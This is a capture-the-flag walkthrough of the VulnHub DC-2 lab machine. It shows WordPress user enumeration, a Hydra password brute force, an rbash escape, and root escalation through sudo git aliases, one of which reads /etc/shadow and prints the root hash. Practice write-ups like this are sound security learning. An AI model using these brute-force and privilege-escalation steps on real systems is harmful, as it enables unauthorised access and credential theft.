DC-2

Writeup by Ivy Fae

Summary

DC-2 VM by DCAU https://www.vulnhub.com/entry/dc-2,311/ http://www.five86.com/dc-2.html

Enumeration/Scanning

```
$ nmap -sC -sV x.x.x.0/24
...

Nmap scan report for x.x.x.132
Host is up (0.00071s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
```

As instructed in box info, I added host entry for dc-2

```
x.x.x.132 dc-2
```

Navigated to http://dc-2/index.php and found a wordpress site Found a page called Flag http://dc-2/index.php/flag:

FLAG 1

Your usual wordlists probably won't work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can't win them all. Log in as one to see the next flag.

If you can't find it, log in as another.

Used wordpress search with empty search, found another flag page:

FLAG 2

If you can't exploit WordPress and take a shortcut, there is another way. Hope you found

another entry point.

Found login page at http://dc-2/wp-login.php

Ran wpscan and found users:

```
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
- http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
- http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```

Gaining Access

Next, I created wordlist using cewl:

```
$ cewl -d 5 -w custom-words3.txt http://dc-2/index.php
```

Then used Hydra to try this wordlist against the users admin, tom, and jerry

```
$ hydra -L users.txt -P custom-words.txt dc-2 -V http-form-post
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
In&testcookie=1:S=Location'
```

which turned up the following wordpress credentials:

```
[80][http-post-form] host: dc-2 login: tom password: parturient [80][http-post-form] host: dc-2 login: jerry password: adipiscing
```

Logged into wordpress as tom, gained access to wordpress console. Here, I noticed the wordpress version was displayed: 4.7.10

A quick google search turned up a list of vulns: https://wpscan.com/wordpress/4710

This one looks VERY interesting! https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526

"An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata."

Unfortunately, the server doesn't allow any media uploads, so I needed to find something else.

Unable to create directory wp-content/uploads/2022/09. Is its parent directory writable by the server?

I didn't find anything in wordpress that looked exploitable, so I ran a new nmap -A scan. It turns out I missed a port. This time, nmap showed ssh open on 7744

```
$ nmap -A -p - x.x.x.132
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 19:59 EDT
Nmap scan report for dc-2 (x.x.x.132)
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-server-header: Apache/2.4.10 (Debian)
| http-generator: WordPress 4.7.10
| http-title: DC-2 – Just another WordPress site
7744/tcp open ssh OpenSSH 6.7pl Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
  2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

I connected to ssh `ssh tom@dc-2 -p 7744` with password parturient and was presented a limited shell. It didn't allow most commands (not even cat). However, Is, echo, less, and cd worked.

```
tom@DC-2:~$ echo $SHELL
rbash
```

I was not familiar with rbash. The r is for "restricted"! 1s showed flag3.txt:

```
tom@DC-2:~$ less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for
all the stress he causes.
```

I decided to look around here before investigating this su clue.

There was also a folder in tom's home directory called usr/bin which contained a few symlinks:

```
      lrwxrwxrwx 1 tom tom
      13 Mar 21 2019 less -> /usr/bin/less

      lrwxrwxrwx 1 tom tom
      7 Mar 21 2019 ls -> /bin/ls

      lrwxrwxrwx 1 tom tom
      12 Mar 21 2019 scp -> /usr/bin/scp

      lrwxrwxrwx 1 tom tom
      11 Mar 21 2019 vi -> /usr/bin/vi
```

```
tom@DC-2:~$ less /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash
```

Looks like jerry is not restricted to rbash

```
tom@DC-2:~$ ls ../jerry/
flag4.txt
```

jerry has flag 4!

```
tom@DC-2:~$ less ../jerry/flag4.txt

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!
```

git?!?!? Yep! git is installed, but I haven't seen any repos yet. I'll revisit this once I'm logged in as jerry.

I didn't have any reason to believe su would be available to me via rbash, but I tried it anyway

```
tom@DC-2:~$ su
Sorry, user tom may not run su on DC-2.
```

Just in case, I exited and tried to SSH with jerry's known creds, but could not log in. Looks like I'll need to escape rbash.

Privilege Escalation

As I mentioned earlier, I can't do much in rbash. But I am able to use vi to edit /home/tom/.bash_profile, .bash_login, and .bash_logout. tom's PATH and SHELL environment variables were being set in a few places. I replaced SHELL with /bin/bash and PATH with the following copy of my PATH:

```
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
export SHELL=/bin/bash
```

I logged out, logged in again, and found I could cat now! What else could I do?

```
tom@DC-2:~$ sudo -1
Sorry, user tom may not run sudo on DC-2.

tom@DC-2:~$ su jerry
Password: adipiscing
jerry@DC-2:/home/tom$
```

Nice!

Uh oh! jerry can run git as root? Git has its own alias scripting. When the aliased command starts with an exclamation mark, it can even run non-git commands!

```
jerry@DC-2:~$ sudo git config --global alias.test '!f() { whoami;};f'
jerry@DC-2:~$ git test
jerry
jerry@DC-2:~$ sudo git test
root
```

Perfect. Here we go!

```
jerry@DC-2:~$ sudo git config --global alias.test '!f(){;cat /etc/shadow;};f'
jerry@DC-2:~$ sudo git test

root:$6$GtvX90ok$whBe3t.vDUfkcHJhDevZ5QthAguFybcuJWwLZ1HAyvc8v4mbMdO2sHLTAtham
UGavsUTNgxsJLO./YPu22eZ5/:17977:0:99999:7:::
daemon:*:17965:0:999999:7:::
bin:*:17965:0:99999:7:::
sys:*:17965:0:99999:7:::
sync:*:17965:0:99999:7:::
```

Let's try just plain su

```
jerry@DC-2:~$ sudo git config --global alias.su '!f(){ su;};f'
jerry@DC-2:~$ sudo git su
root@DC-2:/home/jerry# whoami
root
root@DC-2:/home/jerry# cd /root
root@DC-2:~# ls
final-flag.txt
```

Woo! There's the last flag!